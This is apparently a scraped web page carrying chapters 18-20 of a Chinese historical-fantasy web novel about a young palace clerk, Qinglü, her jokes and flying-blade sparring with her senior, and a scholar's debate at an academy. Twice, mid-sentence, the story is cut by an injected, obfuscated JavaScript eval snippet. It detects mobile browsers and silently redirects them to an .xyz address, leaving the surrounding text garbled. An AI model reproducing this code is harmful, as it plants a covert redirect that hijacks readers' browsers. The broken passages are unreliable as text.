此时,一名小宦官拿着苕帚撮箕跑出来,匆匆去打扫地上的什物。 女子来不及细看手上的战利品,伸脚朝小宦官后腰踢去:“下贱阉人,姐还没发话,谁让你来清扫的?” 小石头骤然捱了一脚,身子朝前一扑,一下跪倒在地上,一块陶片不偏不倚插进了他的膝盖,顿时血流如注。 刚才他听见物品摔落地上碎裂的声响,出来看见地上有脏物,便赶紧取了工具出来打扫,否则让管胖子瞧见了又有一顿狠揍,不料却被女子所伤。 寡淡女子仍不解恨,取出木剑要砍小石头。 青绿怒了,右手一扬,袖中小小一物飞出,贴着寡淡女子握剑的手,将木剑断为两截。 寡淡女子难以置信地看看青绿,又看看残留在手上的剑柄,腿一软,一屁股坐在地上,眼泪吧嗒吧嗒地流了下来,那十二万分的委屈情形,对比横眉怒目的青绿,妥妥的一个受气包。 青绿呆若木鸡,这戏精演的是哪一出?恶人先告状?还是爱哭的孩子有糖吃?不好意思,老娘也会,她突然两眼一闭,头枕着伸直的右臂侧身倒在地上,摆出一个戏台上常有的女子倒地的漂亮造型。 这下可急坏了小石头,他尖叫一声“主薄大人”,起身想去扶她,膝盖一弯复又跪倒。 院内的跛脚六叔闻声而出,先是看见寡淡女子以及跪着的小石头,脸色一凛,再看见躺倒在地一脸辣眼演技的青绿,却是一惊。 不待他弄明白怎么回事,寡淡女子起身一头扑进他怀里,指着青绿哭道:“爹爹,这野丫头欺负我,把我的剑削断了。” 18. 第十八章 戏精 陆叔看着怀里抽泣的陆南燕,相信女儿说的是实话,但也知道青绿不会无缘无故去削断一把木剑,总不至于是因为看不惯吧,不过,也不排除这种可能,青绿作妖也不止一两回,还能与她计较不成? 他迅速调整好脸上表情,放缓了语气道:“燕儿,不许胡说,这位便是我常向你提起的青绿姑娘,兰台的凡主薄。” 一听寡淡女子喊爹爹,青绿便已经睁开眼睛,待看见是陆叔,她尴尬地自己爬了起来,实在不好意思在陆叔面前装死,陆叔一直很照顾她。 陆叔将寡淡女子推到青绿跟前道:“此是小女陆南燕,不知因何冲撞了姑娘,此中应该有些误会。” 青绿愧疚道:“陆叔,是我的错,不知今日是你的生辰,打翻了你的长寿面,我给你赔个不是。”她朝陆叔鞠了一躬,抬头笑道,“祝陆叔福如东海,寿比南山,生辰快乐!” 陆南燕很委屈:“爹爹我没胡说吧,她自己承认的打翻了我的罐子,这是娘亲手做的长寿面,娘叮嘱我一定要看着爹吃完呢,却被她打翻了,还,还削断了我的剑。” 陆叔两边和着稀泥:“都说了是误会。燕儿,你不是常说要行走江湖,做漓江仙人么?别看青绿姑娘年纪小,已走过了万水千山呢。抽个空闲时间,你好好向她讨教,便知江湖险恶。”笑看着青绿,“姑娘要出门么?何时回来?” 青绿道:“要跟管直指出去办差,回去准备一下。” 陆叔对仍眼含热泪的陆南燕道:“你俩算是不打不相识了,往后有不明白的,燕儿你可得悉心向青绿姑娘学习,说起来,你比她还大了三个月。” 寡淡姐陆南燕倒是很听自己老爹的话,脸上虽仍是委屈,却马上擦了一把泪水,伸手去拉青绿的手道:“既是我虚长了几个月,便自称一声姐姐,青绿妹妹,我有许多话要问你呢。” 青绿心道,我与你不熟,哪来的姐姐妹妹?便觉有些不自在,对陆南燕晗了颔首:“下次再会。”瞄着她的手心,“这个得还我,不然无法交差。” 陆叔这才看见陆南燕右手拿着一个玉佩,忙一把夺了过来,斥道:“皇太后赐给青绿姑娘的玉佩你也敢拿,不要命了?”双手捧着还给了青绿。 青绿不喜佩带饰品,嫌累赘,唯一佩带的便是这块羊脂白玉佩,明眼人一看便是极品,陆叔留意过,上有太后金印。 陆南燕小脸吓得煞白,背在身后拿着禁步的左手也抖了起来,细碎的玛瑙珠子相互碰撞响起了悉悉嗦嗦的声音。 陆叔脸黑了下来,指着禁步问:“这也是青绿姑娘的?” 陆南燕心虚地点了点头。 陆叔痛心疾首:“你是缺吃了还是少穿了,喜欢首饰也得从明道上挣。” 陆南燕嗫嚅道:“日常你又不给我银子,我这不是为行走江湖准备盘缠么?” 陆叔口气十分严厉:“有本事学学青绿姑娘,自个挣嫁妆,别整日想着偷拿你娘的首饰。” 青绿无奈,这楼搭着搭着就歪了,怎的我出来打工是为自己挣嫁妆?看来所有人都是这么看我的吧。哼,我堂堂凡府千金用得着自己挣嫁妆?再说,我并未打算嫁人,要嫁妆作甚? 她正天马行空地想着,陆叔从陆南燕手上拿过禁步塞进她手里,红着老脸道:“姑娘见笑了,燕儿便这坏毛病,从小喜欢首饰。” 青绿心道:这是喜欢的问题么? 将陆叔的手往回推,笑道:“陆叔,原是我有错在先,这个禁步只当是赔礼吧。”朝陆叔挥了挥手,“回见。” 陆叔父女一起扬手道:“回见。” 转过兰台进出宫门必经的菡萏池,池里的荷花开得错落有致,与碧绿的荷叶相映成趣,端的是“接天莲叶无穷碧,映日荷花别样红”,丝丝缕缕的幽香沁人心脾。青绿狠狠将一颗石子踢进池中,长吐出一口浊气。 忽然,一个胖子的身影映入她的眼帘,一身肥肉慵懒地摊在池岸上,玄色衣裳在满眼的红花绿叶之中显得极为突兀。 胖子兀自掩脸笑得直抽抽。 青绿很好奇,凑到他跟前不解地问:“师兄又抽的哪门子风?这是荷花不是桃花,难道对着荷花也能走桃花运不成?” 管胖子笑得上气不接下气:“才观了一出蹩脚戏,某人倒地的桥段演的太假,倘若是我,怎么地也得配合着口吐一堆白沫。” 青绿明白自己方才与陆南燕争执的一幕被这死胖子看了去,又羞又恼,伸手要去打他:“你看见了却不出来说句公道话,害我损失惨重。” 管胖子用宽袖挡住她的鸡爪子笑道:“一个禁步罢了,你向来不挂这些叮叮咚咚乱七八糟的玩意儿的。”看一眼她腰间的羊脂白玉佩,“也就带这玩艺吓唬吓唬人而已,可惜喽,人不识货。” 青绿气哼哼道:“一个禁步说得轻松,再怎么滴也值几两银子。” 这个禁步是她早上出门前,妹娘硬给她系上的,说一个即将及笄的姑娘,一件首饰都不带显不出闺秀模样,走路风一样的来去更是有损大家风范,便特意寻了一个繁复的禁步给她挂上,絮絮叨叨地叮嘱她走路要走碎步,禁步响声杂乱会被认为没有大家闺秀的礼数。 不料第一次佩戴禁步,便被陆南燕谋了去,青绿心里不痛快。凭直觉,她不喜欢陆南燕,不是因为长相,而是寡淡姐的行为方式。因问:“陆南燕缘何能随便跑到兰台来?也是吃皇粮的么?” 管胖子道:“这倒不是,只是陆叔是兰台的老人了,管着兰台一大堆杂事,陆南燕打小便跟在他身旁,有忙不过来的时候也能顶半个杂役,虽不算正式在册,但也有些补贴。陆叔倒也向师傅提过几次给南燕顶上主薄的职,师傅没答应。” 看青绿不爽的样子,管胖子促狭心顿起,嬉皮笑脸道:“丫头今日是专门带禁步来送人的么?” 这死胖子便这德性,嘴瓢。青绿常想,兰台的一、二号人物,外表与性格实乃天差地别,瘦的瘦到了天花板,胖的胖出了地平线;话少的只用脸上的皱纹表达,话唠的全身肥肉都能发出声音,若二人能中和一下多好。 她怕董清辉却不怵管胖子,管胖子不记仇,不过大抵也是因为青绿自己的嘴皮子也不饶人。 青绿大为光火,咬牙捶了管胖子肩膀一拳,不料却像打在一团柔软的棉花上。 管胖子咧嘴笑道:“舒服,再来几拳。” 青绿瞪眼,狠狠一脚踢在他的熊腰上。 管胖子神色一紧:“矮油,额滴个胥哎。”见她要跑,“等等,你今日飞剑断木剑的功夫不赖,看来这段时日很是下了些功夫,过来,我考考你。” 青绿不情不愿地在他身旁坐下。 管胖子笑道:“我得清楚你有几把刷子,否则带你出去保不住会被你连累,哎,你别翻你的十方白眼,你说生命攸关之时是保你的命还是保我的命?保了你的命我的命丢了你照样活不成,所以两害相权取其轻,我只能保自己的命了。” 青绿冷笑,不搭理他。 管胖子不尴不尬地问道:“你除了飞剑,还擅长什么伎俩?你不会告诉我,别人仗剑走天涯,你是仗胆浪迹天涯吧?” 青绿摇摇头“没别的功夫。” 管胖子叹气:“你碰到的歹人脑子里全是草?” 青绿得意地晃晃小脑袋:“我命好,能逢凶化吉。”她转了转眼珠子,“弹弓算不算?” 管胖子嘲道:“算,怎么不算,对你而言,撒泡尿能杀得死蚂蚁都算。” 青绿袖内掏出一副精致的小弹弓,对着管胖子的眼睛瞄了瞄。 管胖子心不急气不喘身形安如泰山:“呵呵,便让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457172|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你三次,你也打不着我的眼珠子,谁让我眼睛小呢。” 青绿忍不住咧了咧嘴,露出八颗整齐贝齿,如碎钻般在阳光下闪着莹光。 她举着弹弓瞄向十步开外停在莲蓬上的一只红蜻蜓,右手一松,噗地一声,红蜻蜓落入水中, 管胖子夸张地点头赞赏:“丫头阔以啊,像那么回事。” 青绿一脸得意之色:“嗯,我知道自己可以,我打过好几只兔子,还有长虫。” 管胖子没眼看了,指着前面二十步远一枝婷婷而立的荷花道:“你用飞剑切断那枝花。” 青绿目测了一下距离,轻松地飞出一剑,贴着水面的荷花杆无声折断,薄薄的剑刃坠入水面激起一丝涟漪,她矜持地瞄了一眼管胖子。 管胖子指着更远处的一片花海道:“看好喽。”宽袖一挥,数十朵荷花齐刷刷落入水中,只剩一片光秃秃的杆子,一把阳光下闪着寒光的小小飞剑拐个弯又回到管胖子袖中。 青绿看得瞠目结舌,脸上却仍装作不服:“你练了多久,我才练多久,我练上你这时日,你得称呼我一声师傅。” 管胖子嘴上给她留了点情:“你缺的不是力道,缺的是巧劲。”肥短的中指与食指夹着薄薄的飞剑做着示范,“飞剑要斜甩出去,如用石子打水漂,在甩出的瞬间陡然发力,如此,飞剑才能回归手中。像你这般用剑,剑收不回来,我得给你打多少把才够,唉,暴殄天物。” 青绿一边听一边用心揣摩,试着甩了两把,果然,飞剑虽然没能回到自己手上,却也能在割断荷花后折回落到她面前不远处,她自我膨胀道:“这有何难?” 蓦地,一名体积庞大约莫四十上下的胖嬷嬷从百花深处滑水飞速而来。 青绿看呆了:凌波肥仙子? 仔细一瞧,原来胖嬷嬷撑着一叶小舟,小舟因负重吃水极深,将嬷嬷的双脚隐藏在水里,以至于外人看不见舟面。 嬷嬷双手十分有力地撑着竹竿朝二人靠近,嘴里还在大声嚷嚷着。 管胖子拉了一把青绿:“还不快跑,等着挨嘴刀?” 青绿吓得一激灵,待要跟着管胖子一跑了之,却鬼使神差回头看了一眼。 胖嬷嬷已跃上池岸,见二人已跑出数步开外,估摸着追不上了,一屁股坐在地上,鼻涕一把泪一把歇斯底里地哀嚎起来:“我的荷花,我的心肝儿肉啊,你们这两个挨千刀的狗男女,如此摧花,不怕被天谴么?我可怜的荷花花。” 青绿于心不忍,拉住管胖子,从他腰上所系的蹀躞带上解下一个小小玉针筒,走过去递给伤心欲绝的胖嬷嬷,“嬷嬷,我师兄不是有意的,他听说照管菡萏池的是一名比花还美丽的女子,为一睹真容才折断了花儿,这个玉针筒是他赔给你的,也可当做是给你的信物。” 管胖子小绿豆眼瞪着青绿,气得说不出话来,只觉得口内满满的咸腥之物。 胖嬷嬷接过玉针筒,举在手上迎着阳光端详了好一会,十分满意地揣进怀里,然后,挺腰抬头看向管胖子,胖脸上升起两朵红云,艳阳下甚是鲜艳。 她对管胖子正色道:“奴婢仰慕管直指久矣,奴婢自信,以自己的姿容是配得上管直指的。但奴婢既已入宫,此生便是皇帝的女人,与管直指只能恨不相逢未嫁时,空留遗恨罢了。”言罢,一脸惆怅竟自顾驾舟离去。百花深处,传出婉转低吟浅唱,“惟有绿荷红菡萏,卷舒开合任天真。” 歌声停了一下,须臾,随风送来一声幽怨叹息:“公子,我姓任,名天真,任天真小女子是也!” 管胖子口内鲜血狂喷而出,一头栽倒在草地上。 青绿正后悔玩笑开大了,怕胖嬷嬷当真要嫁管胖子,正不知如何收场,却见她说出如此一番有礼有节的话来,笑得一口气上不来,跟着一头栽倒在草地上。 19. 第十九章 经验 青绿在东院巴巴等了大半个上午,昨日管胖子便对她说,今日启程前往武威郡。 已时,才见管胖子悠哉游哉地将肥胖身躯挪进了兰台,他一身灰黑色常服,肩上背着个小包袱,十足一位商贾富家翁。也是,若装成叫花子也不能够,哪有这么脑满肠肥的叫花子。 管胖子上下打量了青绿一下,见她穿着平民女子常穿的粗布直衣,脚蹬一双黑色皂靴,打扮得甚为利索,点头道:“嗯,甚好,像个小跟班。” 第一次奉旨办差,青绿有些小激动,在管胖子之前脚步轻快地出了西院。 才进南门的跛脚陆叔闪在一旁,笑问道:“车已备好,小凡主薄这是要上哪儿?” 青绿张嘴未及回答。 管胖子貌似不经意地跨前一步挡在她面前,嬉皮笑脸道:“今日太阳正好,找个地方晒肥肉炼油。” 青绿跟在他身后,对陆叔扮了个鬼脸。意思很明显,不是我不想告诉你,是管胖子不让。这转移仇恨的本事倒也无师自通。 出了宫门,一辆宽大的马车候在不远处,赶车的是兰台暗卫阿四,二十上下年纪,身躯魁伟,黑红脸庞,一身深褐色衣裳,肩背双刀很是威武。 青绿向阿四打招呼:“阿四哥好。” 阿四点头算作回礼,待二人上了马车,鞭梢轻点驱马前行。 青绿问管胖子:“为何不骑马?这么慢慢晃悠,何时才晃到武威?” 管胖子道:“坐车不是更舒服么?又不赶着去投胎,赶那么快做甚。”收敛了笑容,“记住,无论何时都不能告诉旁人你的目的地,别有用心的人多了去了。” 看来管胖子开始言传身教了,青绿十分虚心地表态:“谨记师兄教诲。” 心道:经验一,不能随意暴露行踪,那怕是亲爹。备注:亲爹已死。 马车在大街上走了一小会,管胖子看看日头,道:“出了城便没地方用膳了,随便找个地方填饱肚子再走。” 青绿热烈推荐:“我知道一处地方大碗面好吃。”想起当初进城时喝的面汤,甚为怀念。 管胖子呶呶嘴:“带路,哥对吃的不讲究。” 青绿指挥马车拐了个弯停在菜市口,带着管胖子和阿四到了宋婶面摊,在空桌前坐下。 青绿对宋婶道:“婶,我要一碗肉面。” 管胖子张嘴:“来四碗,搁八碗的肉量。” 宋婶笑着应道:“好勒,客官稍等。” 低头捅着火炉子的吴雅童脸都没转过来便道:“五碗面,九份肉,素面两文一碗,肉一文一份,共十九文,先付钱后吃面。” 邻旁卖菜婶笑道:“吴雅童这算账功夫好生了得,将来想做甚?” “赚钱娶娘子。”单眼皮小眼睛的胖男孩理直气壮道。 “娶娘子作甚?”卖菜婶一脸八卦。 “男人活着不就为了娶媳妇么?”吴雅童反问。 卖鱼的半大小子凑趣:“乌鸦童,就你这卖面的能耐,将来娶的媳妇还不得丑过马去?” 吴雅童眉毛一竖:“将来你娶的媳妇好看,像你姐你妈你姥一样好看,你姐好看手残,你妈好看独眼,你姥好看得连牙都没了。” 几句话便照顾了卖鱼哥一家三代,卖鱼哥气得举着杀鱼刀作势朝他劈去,被卖菜婶拦住。 宋婶手上忙活着,嘴里轻声斥责儿子:“童儿,说话不可无礼。” 青绿笑道:“乌鸦童你算得越来越快了。”当初她把吴雅童的发音误听为乌鸦童,看来没有冤枉他,便冲他这把乌鸦嘴。 吴雅童闻声,扔了拨火棍站起身来,用一种奇怪的眼神看看青绿又看看管胖子,问道:“姐姐,这胖爷是你爹?难怪你这么有钱,可你为何还是这么瘦?胖爷经常不让你吃饱么?” 青绿一怒,口不择言道:“胖爷才是你爹,你是他孙子。” 宋婶尴尬地将五碗面摆上桌,满含歉意地对管胖子道:“客官,娃不懂事,这里先给你赔罪了。”回头狠狠一掌拍在乌鸦童头上,“满嘴胡浸。” 胖子饶有兴致地打量了一下宋婶,大咧咧一笑,也不说话,拿起桌上的辣椒罐,挖了两大勺红红的辣椒分别放进其中的两碗,自顾捧碗呼哧呼哧吃了起来。 宋婶双手在围裙上擦了擦,在青绿对面坐下,笑着道:“不过短短时日,姑娘倒像是换了个人似的,瞧这细皮嫩肉,想当初姑娘的落魄模样跟个乞丐差不多,只有瞎子才看出来姑娘是块宝。” 青绿朝瞎子的算卦摊看了一眼,见他头一点一点地闭目打着瞌睡,收回视线,关心地问:“婶,日子过得可还好?“ 宋婶叹道:“就我们娘俩,嚼用还算凑合。”慈爱的目光落在儿子身上,“他爹在世时总说,待他长大些便叫他去念书,婶如今实在是难为。” “我看他数数忒快。” “就这么点能耐,得罪了不少客人。” “你给他找个账房先生,先当几年学徒,皇城根下混口饭吃不难。” 宋婶眼前一亮:“这倒是个好主意。” 管胖子嘴角一抹,与阿四先上了马车。 青绿与宋婶道别,想了想,走到瞎子眼前行了一个告别礼:“大师再见。” 瞎子停止了鸡啄米,睁开灰白色双眸,轻声道:“姑娘此去甚是凶险,务必小心。” 青绿一惊,半信半疑道:“谢过大师。” 青绿上了马车,管胖子懒洋洋地将眼睛睁开一条缝,对阿四道:“去东市万客绸缎庄,走礼尚街出城。”吃饱喝足,太阳底下容易犯困。 青绿不解,去武威走西面的直城门出城最为便捷,为何要拐至东头的礼尚街,明显是舍近求远,因问:“去绸缎庄做甚?” 管胖子慵懒道:“放心,不是给你置办嫁妆,还得留着你祸国殃民。” 青绿笑道:“若我出嫁,师兄恐怕得大出血,给凡府二小姐的贺礼得符合身份不是?” 管胖子小眼一瞪,恶狠狠道:“还没与你算账,你擅自将我的玉针筒送人,大娘子一见我的蹀躞七事少了一件,好一番闹腾。” 青绿撇撇嘴:“说得你有多怕自己娘子似的,以你的能耐能容忍娘子闹腾?不过是休了再娶一个罢了,也不怕娶不着,师兄的宫粉忒多,姿色可人的任天真任嬷嬷也仰慕管直指许久了呢。” 管胖子有气无力道:“苍天在上,惊世骇俗的凡羲丞相与惊鸿绝艳的芷楠郡主,如何便养了一个无赖小二?老天爷你开开眼,还是赶紧让哪个眼瞎的把她娶了吧。” 青绿猛然来了精神,一把扯住管胖子的袖子,目光充满了恳求:“你与我爹相熟?说说他好么。”神情忽趋黯淡,声音变得低沉起来,“我儿时,极怕爹。” 管胖子待要说话,却觉马车停了下来,便道:“到了。” 他招呼青绿下了马车,阿四自去停车。 万客绸缎庄门前空地上停满了各式豪车,有全车帷幔用金银丝编织而成的,有窗牗上嵌满红绿宝石的,又有整张门帘用珍珠串成的,真真没有最壕只有更壕。看得青绿啧啧称奇:与未央宫东阙广场停车场有得一比。 万客绸缎庄庄主万去病祖上是杭州织造,专为宫里督造和采办各种丝织品,到他这一代,杭州织造易主,他便在京师开了这间绸缎庄,因为货源充足且时尚,生意极为兴隆,京师周边高门大户的娘子均以到过万客采购丝绸布料为荣。 青绿跟随管胖子进了摆满各式绸缎料子的大厅,厅内很是热闹,许多穿红着绿的男女在挑选布料,管胖子并没有停留,径直走上右侧廊道,从一扇小门进了后院。 后院有一排十来间专为一掷千金的大户人家而设的贵宾厢,一名明目皓齿的圆脸美人迎上前来对管胖子笑道:“客官这边请。” 青绿看她的打扮,一身明艳的苏绣襦裙裹着圆润的身段,风姿绰约,不由多看了几眼,想着自己也裁上这么一件能否有此养眼效果。 管胖子只点头不说话,在圆脸美人引领下穿过花园假山出了后门,早有一辆普通马车停在门外,一名穿玄色衣裳带着斗笠的汉子掀开车帘恭迎着他们。 圆脸美人对管胖子福了一福:“客官慢走。”回身进了后门。 青绿坐在马车上,想想有些怪异,将帘子掀开一条缝,盯着赶车汉子笔挺的背影,试着叫了一声:“阿四哥。” 汉子回头看她一眼,果然是阿四。 青绿放下帘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457173|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回头小声问管胖子:“师兄,你信不过陆叔?”之前的马车是陆叔安排的,他们折腾了这么一圈,只为换一辆马车? 管胖子神色平淡道:“我谁都信不过。” 青绿点头:经验二,更换交通工具变换路线隐藏行踪。备注:特别要改变长相委琐之人的一切安排。 青绿想起圆润的圆脸美人,嗤笑道:“方才领我们从后院出来的美貌胖姐姐也是你的粉吧。”断定管胖子判定美人的标尺是他自己的身材。 管胖子眼神忽然变得凌厉:“不要对任何人提起万客绸缎庄。” 青绿一凛,忙不迭地点头:“明白。” 心里默默:经验三,不谈经历的人和事。备注:带有桃色的。 马车行了一个多时辰,速度变得缓慢起来,青绿隔着薄薄的窗帘朝外一看,是一条行人如织的繁华街道。 “这里是礼尚街,左边是礼尚山,山上便是天下读书人向往的山尚学宫。”一直眯眼小憩的管胖子开口道。 青绿掀开车帘,看着车水马龙的街面,叹道:“山尚学宫在这里啊,离城蛮远的。”小弟凡高在山尚学宫求学,难怪他极少回家。她一脸向往,“听说学宫规模宏大,康庄之衢、高门大屋,且风景极美。” 管胖子最喜欢看青绿一副呆头鹅模样,逗她道:“你没到过山尚学宫?不奇怪,你就不是读书的料,野丫头一个,朽木不可雕也。” 青绿翻翻白眼:“我自然比不得皇宫藏龙卧虎之地,随随便便信手拈出一名管菡萏池的嬷嬷,也能吟出千古绝句。”拿腔拿调地吟唱,“惟有绿荷红菡萏,卷舒开合任、天、真。” 将“任天真”三字,一字一顿咬牙切齿地从嘴里吐了出来。 管胖子不敢招架,秒怂:“小姑奶奶,我是想说,你绝顶聪明,何须将时间白白浪费在念书上,你行万里路也是一样一样的。” 青绿得意之色溢于言表:“是的呢,今日算是我职业生涯中行万里路的开始,古人云‘读万卷书不如行万里路’多少人都不如我吧。” 管胖子坏笑:“是是,丫头厉害着呢,别半途而废才好,路遥知马力。” 某人以骡马之姿行万里路之时,山尚学宫的某人正在读她不屑于读的万卷书。 刘哲自从搬进云溪阁书库后,简直是如鱼入水,他记忆力奇佳,书只需抄过一遍,便能在脑子里生根发芽。 他是一个很有前瞻性的人,做事从不盲目,凡事先规划再行动。 他粗略算了一下,现在是五月底,离八月中旬学宫招考还有两个多月,离明年八月太学课试还有将近十五个月。 他制定了十分详尽的学习计划,学宫开考前,将精力集中在儒学和兵法上。他准备同时报考这两门学派,首要目标是成为儒学大师、学宫大祭酒千墨云的弟子,这样入读太学便能做到万无一失,千墨云的名号胜过一切官府文书,他怕自己的来历经不起审查。 本来入读山尚学宫无需考试,无奈想投在山尚先生名下的士子太多,故学宫定了每隔两年开考一次,只为替大师招录。今年千墨云外宣只收一名关门弟子,竞争不可谓不激烈,故为保险起见,刘哲同时报考学宫右祭酒孙穰苴的兵法,能得他的推荐也不错。 一旦通过山尚学宫的入学考试,有一整年时间,他可全力备考太学的课试,他选定了五经中的《尚书》《礼记》《春秋》等三门经学。 刘哲进京不久,曾绕着未央宫转了一圈,看着戒备森严的皇宫,他明白,自己一介庶民想入皇宫简直比登天还难,只有仕途才是唯一路径。 若他参加太学课试能同时通过三经,便能授太子舍人之职,届时可入读太学,运气好亦可直接入宫。 他仍担任百里冰的助教,但今日他不在百里冰书房,而是去了敏学大讲堂,这里正在举办期会,由兵法大师孙穰苴主持。 刘哲出示了云溪阁书房的对牌后,被安排在前排十六号位就坐。 此时敏学大讲堂内已是人声鼎沸,千八百人或坐或站,一眼看去,黑鸦鸦全是人头。 不知为何,许多弟子对他投来或嫉妒或艳羡的目光,刘哲有些不自在,却也不去多想,毕竟他是第一次来这种场合。 20. 第二十章 期会 刘睿早前便决定参加今日山尚学宫的期会,但计划赶不上变化,今早被太傅高远木召去尚书台议了一会政事,待与萧文渊赶到敏学大讲堂,期会已开始多时,二人在预留的座位上落座。 此时一名立于左前方面向听众及主持,头带蓝缎帻巾的弟子的演讲已进入尾声,结束语的表达抑扬顿挫,极富感染力:“敌我双方本已势同水火,与敌同舟共济,无疑于与狼共舞,舟如遇狂风,既要防浪更要防狼,势必将己陷入腹背受敌之险境,和与虎谋皮有何不同?故窃以为,不可与敌同舟共济。” 话虽短,但每句停顿都恰到好处,给听众留有足够而又合适的鼓掌空隙,显然是演讲经验丰富的高手,话音刚落便赢得满场掌声。 刘睿悄声问坐在身旁的弟子:“是何主题?” 弟子朝帻巾弟子扬了扬下巴道:“他方才已点出主题‘可否与敌同舟共济’。”看一眼刘睿的衣着,热心补充,“公子来晚了,只剩两名演讲者,一会便知胜负了。” 刘睿清楚演讲规则,参加演讲的弟子按顺序编号,由学监盲抽十个号,被抽中序号者,上台演讲一刻钟,演讲毕,经弟子诘难及演讲者驳难,最后以主持及学监无记名投票决出高低。 刘睿目光看向右前方的主持位置,那位身躯高大,容光焕发,鹤发童颜的老者,便是今日期会的组织者、右祭酒孙穰苴。出乎意料的是,与他并排而坐的还有另一位慈眉善目微微佝偻着身子的中年汉子,他是阴阳家代表人物、左祭酒王雄彪。 一般而言,学派组织的期会,只有本派掌门列席,两位祭酒掌门同席参与并不常见,刘睿心道:难怪今日场内气氛特别热烈。 毕竟能在两位大师面前一抒胸意展露才情,若能入他们慧眼,便有机会转投其门下成为山尚弟子。 坐在刘睿左前方的刘哲,从演讲开始便聚精会神地看得津津有味,手掌都拍红了,帻巾弟子一下场,便伸长脖子焦急地盯着专管抽签的老学监伸进签筪的干枯老手。 待老学监颤抖着展开手里打折的纸条,哑声宣布“九号上场”,周围众人忽然发出一阵惊呼:“快看,是她。” 刘哲抬头,视线落在左前方一张女子熟悉的面孔上。 从来美人不是温雅娴淑,便是娇美姿媚,这位个子高挑、身姿挺拨、五官立体的姑娘,却是八九分美貌里露出三四分英气豪放,雍容闲雅之中自有一副端严之态,浑身的御姐范令人不敢逼视。 不是孙大师的得意弟子薛姝还能是谁? 刘哲下意识地朝同席的弟子身侧躲了躲,无奈薛姝与他相向而立,再怎么躲也无法不与她照面,他只得将目光盯死在地面上。 面朝众人的薛姝亭亭玉立,目视前方,落落大方地开始演讲:“同舟共济,安危势同。” 其声清澈如珠落玉盘,开宗明义便引来一阵热烈掌声。 待掌声平息,薛姝开门见山,行云流水般抛出几个或书本或亲身经历的极有说服力的实例为据,旁征博引论证了其“可与敌同舟共济,甚至可化干戈为玉帛”的观点。 她口若悬河,但显然并不想哗众取宠,故言语之间并没有刻意停顿去暗示听众“此处该有掌声”,发言却不时被掌声打断,最后在一阵经久不息的掌声中结束了演讲。 随后是咭驳难环节,咭者问题一出口,便被她驳得体无完肤。 刘哲身旁一位娃娃脸弟子嘀咕:“大可跳过此环节,有哪位弟子在兵法上能问倒这位孙大师的首席弟子?” 刘哲“嗯”了一声表示赞同。 却有一位毛头小弟跳出来怯怯对薛姝发问:“若敌方为妇人,无法在同舟之中解决如厕问题,仍能同舟共济否?” 众人哄堂大笑,此类荒诞不经的问题大多为恶作剧,是咭问方自认不能难倒演讲者而挖空心思想出的昏招,意在让对方难堪或博人眼球,毛头小弟应是受师兄蛊惑被当了枪使。 如演讲者是男子,大可避开正题,随意抛出如“危难时刻,不分男女”之类的简单答案,偏偏薛姝是女子,肯定不免尴尬。 果然,刘哲抬头去看薛姝,见她欲言又止,脸上微微泛红。 听众可不给薛姝思考的时间,开始发出嘘声,更有一名焦燥弟子将帽子扔到薛姝脚下。 刘哲愕然:学宫弟子这么耿直的么?一时替薛姝着急起来,毕竟她是朵朵的便宜师傅。 却有一个略带磁性富含魅力的男子声音在他右后方响起:“那便化敌为友,敌我结为夫妻,千年修得同船渡,正好印证了可与敌同舟共济。” 众人击节大笑,薛姝的局促一扫而空,满目感激朝发出声音的方向微微颔首。 刘哲顺着她的目光扭头看向右后方,说话的是一名青年公子,面如冠玉,目如朗星,一袭质地精良的白色锦服,露着银色镂空木槿花镶边,乌黑的发髻套着精致的羊脂白玉发冠,两边垂下的淡蓝色丝质冠带在下额系着一个流花结。 刘哲心里涌起一丝异样,感觉似曾相识。 公子身旁还坐着一位螓首蛾眉、衣饰华贵的年青女子,看二人衣着打扮非是皇亲便是国戚。 刘哲摇摇头,记忆之中并无此等膏粱。 刘哲正沉思着,不防肩膀被人拍了一掌,娃娃脸弟子一脸着急道:“十六号,你,压轴演讲。” 刘哲吓得心脏漏跳了三拍,万万没想到自己一个吃瓜群众竟然被中签,他本意是只作壁上观,根本没作任何准备,便下意识地低下头想躲开。 一旁有声音催促道。 “娘们似的扭扭捏捏,怂了?” “如此墨迹,是要预热场面么?给他些掌声。” 场内响起一阵稀稀拉拉的掌声以及嘘声、哄笑声。 脑子空白脸色惨白的刘哲还没反应过来,便猛地被娃娃脸弟子一把推出了席位,狼狈跌坐在地上,随即耳边响起一片嘘声: “这么菜还敢坐在前排,不知道前三排是待抽签席位么?” “占着茅坑都拉不出屎来。” …… 天大的冤枉,他当真不知道这个规矩,还窃喜自己得了个好位置。想起来了,应该是云溪阁的对牌作祟,云溪阁? 他未及多想,一只臭鞋直直朝他命门奔来,吓得他朝后一躲,突然清醒过来,把心一横:不就是演讲么,又不是让我当众脱衣。 众目睽睽之下,他站了起来,稳了稳心神,毅然走到演讲位。 全场忽然安静了下来,但见一位俊秀少年,风仪玉立,一身粗布麻衣,却掩饰不住其美得人神共愤的姿容。 萧文渊甫见少年的瞬间,便在心里暗赞:郎艳独绝、世无其二。 突然她心里一动,扭头看向坐在身旁的刘睿,二人竟有几分相似,均是长身玉立,眉目如画,不过,少年眉眼间带着淡淡的清冷,刘睿是温文尔雅之中透着威严。 